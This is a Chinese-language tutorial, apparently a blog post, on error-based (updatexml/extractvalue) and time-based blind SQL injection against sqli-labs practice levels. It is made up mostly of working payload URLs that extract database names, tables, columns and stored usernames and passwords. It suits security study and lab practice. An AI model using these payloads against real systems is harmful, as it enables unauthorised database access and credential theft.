sql注入之报错注入攻击、时间盲注

报错注入攻击

xpath函数:

主要的两个函数:
Mysql5.1.5
1.updatexml():对xml进行查询和修改
2. extractvalue():对xml进行查询和修改
都是最大爆32位。
提示输出信息超过一行,说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长
度为64位),所以需要放弃group_concat()函数,而使用limit 0,1来一个个输出。
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出
一个,2就表示输出两个)

and updatexml(1,concat(0x7e,(select user()),0x7e),1)–+

//查询当前用户名

and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

//查询当前数据库名

and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)–+

//查询所有的数据库名称

id=1%27%20and%20updatexml(1,concat(0x7e, (select%20table_name%20from%20information_schema.tables%20where%20table_schema=d atabase()%20limit%200,1),0x7e),1)%23

//查询表名

id=1%27%20and%20updatexml(1,concat(0x7e, (select%20column_name%20from%20information_schema.columns%20where%20table_name=% 27users%27%20limit%200,1),0x7e),1)%23

//查询表下的字段

and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from security.users limit 0,1),0x7e),1)

//爆出具体的字段内容。

Extractvalue():

http://192.168.1.180/sqli-labs/Less-5/?id=1’ and extractvalue(1,concat(0x26,database(),0x26));–+

时间盲注

它与Boolean注入的不同之处在于,时间注入是利用 sleep() 或 benchmark() 等函数让mysql的执行
时间变长。
时间盲注多与 IF(expr1,expr2,expr3) 结合使用,此if语句含义是:如果expr1是 TRUE ,则IF()的
返回值为expr2:否则返回值为expr3,
`http://43.247.91.228:84/Less-9/?id=1’
http://43.247.91.228:84/Less-9/?id=1’and if(length(database())>7,sleep(5),1) %23 //判断数据库的库
名长度为多少
http://43.247.91.228:84/Less-9/?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),1)
判断数据库名的第一个字
[在线靶场][http://43.247.91.228:84/Less-9/?id=1]
这里输入?id=1’ ?id=1"页面都没有变化,说明之前的注入方法都没用,包括boolean型盲注也都不行
了。

尝试基于时间的盲注,这里需要介绍一个mysql内置的函数 sleep(5) 表示执行这个函数时会延迟5
秒。(每种数据库都有各自延时函数)
可以用F12看下网站处理这个请求正常需要的时间。

验证时间盲注

输入 http://43.247.91.228:84/Less-9/?id=1 响应时间为1秒内。sql注入之报错注入攻击、时间盲注_第1张图片
输入: http://43.247.91.228:84/Less-9/?id=1’ and sleep(5)%23 响应时间为5秒sql注入之报错注入攻击、时间盲注_第2张图片
利用burp进行抓包利用破解对a-z的字母进行穷举,得到数据库名。
时间注入代码分析
在时间注入页面中,程序获取GET参数ID,通过preg_match判断参数ID中是否存在Union危险字符,然
后将参数ID拼接到SQL语句中。从数据库中查询SQL语句,如果有结果,则返回yes,否则返回no。当
访问该页面时,代码根据数据库查询结果返回YES或no,而不返回数据库中的任何数据库,所以一页面
上只会显示yes或no ,和Boolean注入不同的是,此处没有过滤sleep等字符,
sql注入之报错注入攻击、时间盲注_第3张图片
此处当访问id=1‘ and if (ord(substring(user(),1,1))=114,sleep(3),1)%23
由于user()为root,root第一个字符‘r’的ASCII值是114,所以SQL语句中if条件成立,执行sleep(3),页面
会延迟3s,通过这种延迟即可判断sql语句的执行结果。

你可能感兴趣的:(sql注入)